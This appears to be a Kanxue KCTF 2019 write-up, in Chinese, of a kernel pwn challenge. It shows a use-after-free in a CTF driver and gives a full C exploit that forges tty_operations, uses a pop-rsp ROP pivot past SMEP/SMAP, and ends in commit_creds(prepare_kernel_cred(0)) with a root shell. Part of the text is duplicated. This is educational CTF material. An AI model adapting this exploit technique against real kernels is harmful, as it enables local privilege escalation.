看雪.紐盾 KCTF 2019 Q3 | 第十一題點評及解題思路
Editor發表於2019-10-08
夜幕降臨了。微風吹拂著蒿草,圍繞著燃燒的火堆,女孩翩然起舞。瀕死的男人心馳神往,自己身在夢中嗎?大地微微的顫動。敏銳的耳力立刻察覺到,那是快速接近的馬蹄。
“馬中赤兔,人中呂布。”他的力量超乎尋常,縱橫大陸所向無敵。但與威震天下的“戰神”相提並論的,則是“有勇無謀”之名。
絕無僅有的真心,換來最慘烈的下場。英雄終究末路。呂布在內心冷笑著。不是想利用自己,就是想自己死。這個世界,就是這麼殘酷。
沒有人生來賤如豬狗,我會活下去,得到想要的一切。
本題共有868人圍觀,最終只有7支團隊攻破成功。接近賽事終章,不少戰隊依然絕地反擊,全力一搏攻破此題,拿到積分顛覆局面。
這道題也十分有意思,接下來我們一起來看一下點評和詳細解析吧。
這題是一道系統安全pwn題,考驗了選手的系統化思考能力、漏洞查詢能力、漏洞利用能力等等。此題的內容是核心漏洞,因此做題門檻也比較高。
提供給參賽選手資訊:
伺服器 ssh 的 ip 使用者,密碼類似```ssh pwn@x.x.x.x -p 10022 (passwd: pwn)```
可以看到開啟了地址隨機化,smap,smep保護。
同時rcS可以看到載⼊了mod.ko驅動。
在驅動中可以看到存在uaf漏洞:
注意觸發漏洞的條件:⾸先在前⾯需要set第三個引數對應的staff結構體的2,3位為⼀個標記為deadbeef的staff,⽽後第⼆個引數與第⼀個引數不同且都標誌位為0xdeadbeef,且第⼆個staff為第三個中對應設定的staff。
思路
可以leak出堆地址和核心載入基址後,⾸先想到的是start ctf中的,再次利⽤UAF分配到modprobe_path位置,覆蓋掉後再運⾏⼀個錯誤格式的elf,觸發運⾏預設指令碼來提權,但是成功覆蓋後總是觸發失敗,不知道原因。
第⼆種⽅法,就是⽐較普通的,通過uaf來修改tty_struct,來修改tty_operations指向⾃⼰偽造的結構體來控制程式流。
但是偽造⽅法卡了很久,因為存在smap保護,不能直接像之前遇到的xchg解決。
這時候只能嘗試tty_operations中的所有操作,看哪⼀個能結合現有rop鏈來控制棧,最後選擇write操作。
write時,可以看到分佈為:
同時找到⼀條可以pop rsp的rop鏈:
由此便可以在write的過程中控制棧指向所要write的⽤戶資料(write前已被copy⼊核心空間)。此時即可常規偽造rop鏈來執⾏commit_creds(prepare_kernel_cred(0)),再返回⽤戶態完成提權。
exp
“馬中赤兔,人中呂布。”他的力量超乎尋常,縱橫大陸所向無敵。但與威震天下的“戰神”相提並論的,則是“有勇無謀”之名。
絕無僅有的真心,換來最慘烈的下場。英雄終究末路。呂布在內心冷笑著。不是想利用自己,就是想自己死。這個世界,就是這麼殘酷。
沒有人生來賤如豬狗,我會活下去,得到想要的一切。
題目簡介
本題共有868人圍觀,最終只有7支團隊攻破成功。接近賽事終章,不少戰隊依然絕地反擊,全力一搏攻破此題,拿到積分顛覆局面。
這道題也十分有意思,接下來我們一起來看一下點評和詳細解析吧。
看雪評委crownless點評
這題是一道系統安全pwn題,考驗了選手的系統化思考能力、漏洞查詢能力、漏洞利用能力等等。此題的內容是核心漏洞,因此做題門檻也比較高。
出題團隊簡介
just for fun
設計思路
提供給參賽選手資訊:
伺服器 ssh 的 ip 使用者,密碼類似```ssh pwn@x.x.x.x -p 10022 (passwd: pwn)```
解題思路
qemu-system-x86_64 -m 256M \ -nographic -kernel $bzImage_dir \ -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null -initrd $cpio_dir \ -smp cores=2,threads=2 \ -cpu kvm64,+smep,+smap
可以看到開啟了地址隨機化,smap,smep保護。
同時rcS可以看到載⼊了mod.ko驅動。
在驅動中可以看到存在uaf漏洞:
case 0x133D: if ( copy_from_user(&v17, v3, 24LL) || v17 >= cnt || cnt <= v18 || cnt <= v19 || (v7 = &staffs[4 * v19], *v7 == 3735928559LL) || v18 != v7[2] ) { LABEL_39: v4 = -22LL; } else if ( v7[1] != 3735928559LL || staffs[4 * v17] != 3735928559LL || v17 == v18 ) { staffs[4 * v17 + 2] = -1LL; LABEL_16: v4 = 0LL; } else { v4 = 0LL; kfree(v7[3]); }
注意觸發漏洞的條件:⾸先在前⾯需要set第三個引數對應的staff結構體的2,3位為⼀個標記為deadbeef的staff,⽽後第⼆個引數與第⼀個引數不同且都標誌位為0xdeadbeef,且第⼆個staff為第三個中對應設定的staff。
思路
可以leak出堆地址和核心載入基址後,⾸先想到的是start ctf中的,再次利⽤UAF分配到modprobe_path位置,覆蓋掉後再運⾏⼀個錯誤格式的elf,觸發運⾏預設指令碼來提權,但是成功覆蓋後總是觸發失敗,不知道原因。
第⼆種⽅法,就是⽐較普通的,通過uaf來修改tty_struct,來修改tty_operations指向⾃⼰偽造的結構體來控制程式流。
但是偽造⽅法卡了很久,因為存在smap保護,不能直接像之前遇到的xchg解決。
這時候只能嘗試tty_operations中的所有操作,看哪⼀個能結合現有rop鏈來控制棧,最後選擇write操作。
write時,可以看到分佈為:
$rsp-> return addr user_data_addr
同時找到⼀條可以pop rsp的rop鏈:
.text:FFFFFFFF811751F3 pop rcx .text:FFFFFFFF811751F4 or eax, 415BFFF4h .text:FFFFFFFF811751F9 pop rsp .text:FFFFFFFF811751FA pop rbp .text:FFFFFFFF811751FB retn
由此便可以在write的過程中控制棧指向所要write的⽤戶資料(write前已被copy⼊核心空間)。此時即可常規偽造rop鏈來執⾏commit_creds(prepare_kernel_cred(0)),再返回⽤戶態完成提權。
exp
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sched.h> #include <errno.h> #include <pty.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/sem.h> #include <signal.h> struct _tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); struct file_operations *proc_fops; }; #define KERNCALL __attribute__((regparm(3))) long int data[0x400]; void new(int fd){ ioctl(fd,0x1336); } void dead(int fd,long int index){ ioctl(fd,0x1338,index); } void alive(int fd,long int index){ ioctl(fd,0x1339,index); } void set(int fd,long int dest,long int src){ long int arg[2]={src,dest}; ioctl(fd,0x1337,arg); } void fake(int fd,long int arg1,long int arg2,long int arg3){ long int arg[3]={arg1,arg2,arg3}; ioctl(fd,0x133d,arg); } void leak(int fd,long int index,long int size){ long int arg[3]={index,data,size}; ioctl(fd,0x133b,arg); } void edit(int fd,long int index,long int *user,long int size){ long int arg[3]={index,user,size}; ioctl(fd,0x133a,arg); } void info(){ for(int i=0;i<=60;i++){ printf("6llx | 6llx\n",data[2*i],data[2*i+1]); } } void shell(){ system("/bin/sh"); } unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_status() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } struct _tty_operations tty_operations; int main(){ save_status(); signal(SIGSEGV, shell); int fd=open("/dev/kpwn",0); new(fd); new(fd); new(fd); new(fd); dead(fd,0); set(fd,3,0); alive(fd,0); dead(fd,1); fake(fd,1,0,3); leak(fd,3,0x200); long int heap_addr=data[0]; printf("[*]heap addr=0x%llx\n",heap_addr); int fd2=open("/dev/ptmx",1); leak(fd,3,0x300); long int kernel_addr=(data[76]-0x17a820); printf("[*]kernel addr=0x%llx\n",kernel_addr); long int fake_option=heap_addr+0x400; //info(); printf("[*]fake op addr=0x%llx\n",fake_option); new(fd); set(fd,3,0); long int magic=kernel_addr+0x1751f3; long int user[30]; for(int i=0;i<20;i++){ user[i]=magic; } //info(); //0xffffffffc0002400 edit(fd,3,user,0x100); user[0]=data[0]; user[1]=data[1]; user[2]=data[2]; user[3]=fake_option; edit(fd,2,user,0x20); int i=0; user[i++]=0; user[i++]=kernel_addr+0x118fab;//pop_rdx_rdi user[i++]=0; user[i++]=0; user[i++]=kernel_addr+0x4f050;//prepare_kernel_cred user[i++]=kernel_addr+0x1ed3e;//xor pop ret user[i++]=0; user[i++]=kernel_addr+0x10f29f; user[i++]=0; user[i++]=kernel_addr+0x4f210; user[i++]=kernel_addr+0x200c2e;//swapgs;popfq;pop rbp;ret user[i++]=0x246; user[i++]=0; user[i++]=kernel_addr+0x1a306; user[i++]=shell; user[i++]=user_cs; user[i++]=user_eflags; user[i++]=user_sp; user[i++]=user_ss; write(fd2,user,0xb0); }
相關文章
- 看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路2019-09-29
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十二題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十三題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第七題點評及解題思路2019-07-02
- 看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路2019-07-04
- 看雪.紐盾 KCTF 2019 Q2 | 第六題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第十題點評及解題思路2019-07-05
- 看雪.紐盾 KCTF 2019 Q2 | 第八題點評及解題思路2019-07-03
- 看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第五題點評及解題思路2019-07-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第十一題設計思路及解析2021-12-15
- 2020 KCTF秋季賽 | 第一題點評及解題思路2020-11-20
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 2019 KCTF 晉級賽Q1 | 第三題點評及解題思路2019-03-28
- 2019KCTF 晉級賽Q1 | 第九題點評及解題思路2019-04-04
- 2019KCTF 晉級賽Q1 | 第十題點評及解題思路2019-04-08
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·深信服 2021 KCTF 春季賽 | 第十題設計思路及解析2021-05-31
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第八題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第九題設計思路及解析2021-05-28
- 看雪·深信服 2021 KCTF 春季賽 | 第六題設計思路及解析2021-05-21
- 看雪·深信服 2021 KCTF 春季賽 | 第三題設計思路及解析2021-05-14
- 看雪·深信服 2021 KCTF 春季賽 | 第四題設計思路及解析2021-05-17